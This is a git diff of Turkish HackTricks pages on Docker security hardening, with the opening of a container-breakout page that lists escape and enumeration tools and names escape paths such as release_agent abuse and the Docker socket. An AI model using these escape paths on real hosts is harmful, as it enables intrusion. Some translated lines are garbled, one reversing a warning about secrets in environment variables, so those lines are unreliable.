+Konteynerleştirilmiş ortamlarda, projeleri ve işlemleri izole etmek güvenlik ve kaynak yönetimi için hayati önem taşır. İşte temel kavramların basitleştirilmiş bir açıklaması:
**Ad Alanları (Namespaces)**
* **Amaç**: İşlemler, ağ ve dosya sistemleri gibi kaynakların izolasyonunu sağlamak. Özellikle Docker'da, ad alanları bir konteynerin işlemlerini ana bilgisayardan ve diğer konteynerlerden ayırır.
-* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller.
+* **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya altta yatan sistem çağrısı) kullanılır, ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğal olarak engellemezken, Docker engeller.
* **Sınırlama**: Yeni ad alanları oluşturmak, bir işlemin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayarın ad alanlarına sızabilmek için genellikle ana bilgisayarın `/proc` dizinine erişim sağlamak ve giriş için `nsenter` kullanmak gerekir.
**Kontrol Grupları (CGroups)**
-* **Fonksiyon**: İşlemler arasında kaynak tahsisi için başlıca kullanılır.
-* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
+* **Fonksiyon**: İşlemler arasında kaynak tahsisi yapmak için kullanılır.
+* **Güvenlik Yönü**: CGroups, kendileri başlıca izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
**Yetenek Düşürme (Capability Drop)**
@@ -150,7 +150,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp**
-Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur.**\
+Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
**Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir.
**AppArmor**
@@ -163,9 +163,9 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman
### Ad Alanları
-**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **bir küme işlem** **bir dizi** **kaynağı görürken**, **başka** bir **küme işlem** **farklı** bir **kaynak** kümesi görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler kümesi oluşturarak çalışır, ancak bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir.
+**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlere ayırır**, böylece bir **set işlem** bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir.
-Docker, Konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır:
+Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır:
* pid ad alanı
* mount ad alanı
@@ -181,8 +181,8 @@ Docker, Konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Ad Ala
### cgroups
-Linux çekirdek özelliği **cgroups**, **cpu, bellek, io, ağ bant genişliği gibi kaynakları sınırlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\
-Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner, CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
+Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\
+Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payını 512, blkioweight'ı 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğu durumda, CPU kaynak çatışması durumunda her Konteynerin CPU'nun %33'üne kadar alabileceği anlamına gelir. blkio-weight, Konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
```
@@ -200,9 +200,9 @@ Daha fazla bilgi için kontrol edin:
### Yetenekler
-Yetenekler, kök kullanıcı için **izin verilebilecek yetenekler üzerinde daha ince kontrol sağlar**. Docker, **Kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak** için Linux çekirdek yetenek özelliğini kullanır.
+Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır.
-Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak için kullanabileceği hassas yetenekleri bırakır**. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır:
+Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğini ve kaçamayacağını sağlamaya çalışır:
{% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md)
@@ -210,7 +210,7 @@ Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak
### Docker'da Seccomp
-Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir**:
+Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir:
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
@@ -218,7 +218,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sı
### Docker'da AppArmor
-**AppArmor**, **konteynerleri** **sınırlı** bir **küme kaynağa** ve **program profillerine** kapatmak için bir çekirdek geliştirmesidir.:
+AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.:
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
@@ -228,11 +228,11 @@ Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sı
* **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar.
* **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
-* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` atanır.
+* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` olarak atanırlar.
* **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
-* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar.
+* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar.
-Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşime gireceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar.
+Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar.
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
@@ -240,7 +240,7 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnız
### AuthZ & AuthN
-Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri **izin verip engellemekte güvenlik açısından kritik bir rol oynar**. Bu karar, iki temel bağlamı inceleyerek verilir:
+Docker'da bir yetkilendirme eklentisi, Docker daemonına yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir:
* **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi.
* **Komut Bağlamı**: Bu, yapılan isteğe ilişkin tüm ilgili verileri içerir.
@@ -281,7 +281,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr
#### no-new-privileges
-Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteynerin içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir.
+Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir.
Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**.
```
@@ -308,23 +308,23 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc
### Şifreleri Yönetme: En İyi Uygulamalar
-Docker görüntülerine doğrudan şifre gömmek veya çevre değişkenleri kullanmak önemli bir güvenlik riski oluşturur, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
+Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynere erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
-**Docker birimleri** hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir.
+**Docker birimleri** hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için bellekte geçici bir dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynere `exec` erişimi olanlar hala şifrelere erişebilir.
-**Docker secrets** hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve şifrelerin kullanımını sağlar.
+**Docker secrets** hassas bilgileri işlemede daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve destek sağlayan etkili bir çözüm sunar.
-BuildKit'i kullanmak için üç yöntem vardır:
+BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
-1. Bir çevre değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1`
+1. Bir çevresel değişken aracılığıyla: `export DOCKER_BUILDKIT=1`
2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .`
3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma işlemi.
-BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak:
+BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanılmasına olanak tanır, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak:
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
-Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır, aşağıdaki `docker-compose.yml` örneğinde gösterildiği gibi:
+Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi:
```yaml
version: "3.7"
services:
@@ -343,31 +343,31 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht
### gVisor
-**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalıştırma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kum havuzlu konteynerlerin çalıştırılmasını kolaylaştırır.
+**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, sandboxed konteynerlerin çalıştırılmasını kolaylaştırır.
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
-**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
+**Kata Containers**, konteynerlere benzer şekilde hissettiren ve performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
{% embed url="https://katacontainers.io/" %}
### Özet İpuçları
-* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
-* Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenene kadar ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır.
-* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırı kapsamını artırır.
+* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
+* Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır.
+* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır.
* Süreçlerin daha fazla ayrıcalık kazanmasını önlemek için [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), örneğin suid ikili dosyalar aracılığıyla.
* Konteynere **kullanılabilir kaynakları sınırlayın**. Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir.
-* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [AppArmor](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin.
-* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola gibi bilgileri güvenli bir yerde saklayın. Docker, UCP ile anahtarları yönetme planları yapmaktadır.
-* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.**
-* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur.
+* **Seccomp**'ı [**ayarlayın**](https://docs.docker.com/engine/security/seccomp/), [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini, konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirmek için sınırlayın.
+* [**Resmi docker görüntülerini**](https://docs.docker.com/docker-hub/official\_images/) **kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük miras almayın veya [arka kapıdan](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntüler kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır.
+* Görüntülerinizi **düzenli olarak yeniden oluşturun** ve **güvenlik yamalarını uygulayın**.
+* **Secret'ları** akıllıca yönetin, böylece saldırganın bunlara erişmesi zor olur.
* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması kullanın.
-* Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmazsınız.
-* **Her mikro hizmet için ayrı konteynerler kullanın**
-* Konteynerin içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir.
+* Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla saldırılara karşı savunmasız olmazsınız.
+* **Her mikro hizmet için ayrı konteynerler** kullanın.
+* Konteyner içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir.
* **Daha küçük** konteyner **görüntüleri kullanın**
## Docker Kaçışı / Ayrıcalık Yükseltme
@@ -388,8 +388,8 @@ Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya
## Docker Sıkılaştırma
-* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtmakla ilgili onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\
-Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırılmalıdır. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
+* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtma etrafında onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\
+Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referanslar
@@ -407,21 +407,21 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\
+Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+AWS hacklemeyi sıfırdan kahraman seviyesine öğreninhtARTE (HackTricks AWS Red Team Expert)!
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!
-Diğer HackTricks'i destekleme yolları:
+HackTricks'ı desteklemenin diğer yolları:
-- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
-- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-- 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
index f4e31c7c3..ac37f58c8 100644
--- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md
@@ -2,44 +2,44 @@
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
+htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
-* Hacking hilelerinizi göndererek **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-## Otomatik Sıralama ve Kaçış
+## Otomatik Numaralandırma ve Kaçış
-* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri sıralayabilir**
-* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri sıralamak ve hatta otomatik olarak kaçmaya çalışmak için oldukça **yararlıdır**
-* [**amicontained**](https://github.com/genuinetools/amicontained): Kaçmak için konteynerin sahip olduğu ayrıcalıkları bulmak için kullanışlı bir araç
-* [**deepce**](https://github.com/stealthcopter/deepce): Konteynerleri sıralamak ve kaçmak için araç
+* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Ayrıca **konteynerleri numaralandırabilir**
+* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Bu araç, içinde bulunduğunuz konteyneri numaralandırmak için oldukça **yararlıdır ve hatta otomatik olarak kaçmaya çalışır**
